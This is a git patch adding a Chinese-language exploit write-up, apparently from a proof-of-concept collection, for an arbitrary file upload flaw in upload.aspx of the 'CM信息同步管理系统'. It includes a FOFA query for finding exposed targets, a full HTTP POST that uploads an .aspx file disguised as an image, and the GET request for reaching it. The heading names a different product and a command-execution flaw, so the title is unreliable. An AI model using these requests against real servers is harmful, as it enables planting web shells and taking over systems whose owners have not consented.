From bae415ccf29e224e32777f7f1207159edc49d17d Mon Sep 17 00:00:00 2001 From: Rain <73454853+sqsec@users.noreply.github.com> Date: Mon, 13 Jul 2026 11:11:47 +0800 Subject: [PATCH] =?UTF-8?q?Update=20CM=E4=BF=A1=E6=81=AF=E5=90=8C=E6=AD=A5?= =?UTF-8?q?=E7=AE=A1=E7=90=86=E7=B3=BB=E7=BB=9Fupload.aspx=E5=AD=98?= =?UTF-8?q?=E5=9C=A8=E4=BB=BB=E6=84=8F=E6=96=87=E4=BB=B6=E4=B8=8A=E4=BC=A0?= =?UTF-8?q?.md?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- ...统upload.aspx存在任意文件上传.md | 41 ++++++++++++++++++- 1 file changed, 40 insertions(+), 1 deletion(-) diff --git a/wpoc/CM信息同步管理系统/CM信息同步管理系统upload.aspx存在任意文件上传.md b/wpoc/CM信息同步管理系统/CM信息同步管理系统upload.aspx存在任意文件上传.md index d00491f..9e19206 100644 --- a/wpoc/CM信息同步管理系统/CM信息同步管理系统upload.aspx存在任意文件上传.md +++ b/wpoc/CM信息同步管理系统/CM信息同步管理系统upload.aspx存在任意文件上传.md @@ -1 +1,40 @@ -1 +# 同迅科技-神行者路由chkid存在命令执行 + + +## fofa + +```javascript +web.body="icon pwd"&&web.body="\"login-logo\">LOGO" +``` + +## poc + +```javascript +POST /upload.aspx HTTP/1.1 +Host: +User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 +Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 +Accept-Encoding: gzip, deflate +Upgrade-Insecure-Requests: 1 +Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 +Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryFfJZ4PlAZBixjELj +Connection: close + +------WebKitFormBoundaryFfJZ4PlAZBixjELj +Content-Disposition: form-data; name="file"; filename="test.aspx" +Content-Type: image/png + +12345 +------WebKitFormBoundaryFfJZ4PlAZBixjELj-- +``` +image + +## 文件访问位置 + +```javascript +GET /up/611d3aa6339e484b876b85616de42bd8.aspx HTTP/1.1 +Host: +User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 +Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 +Accept-Language: en-US,en;q=0.5 +```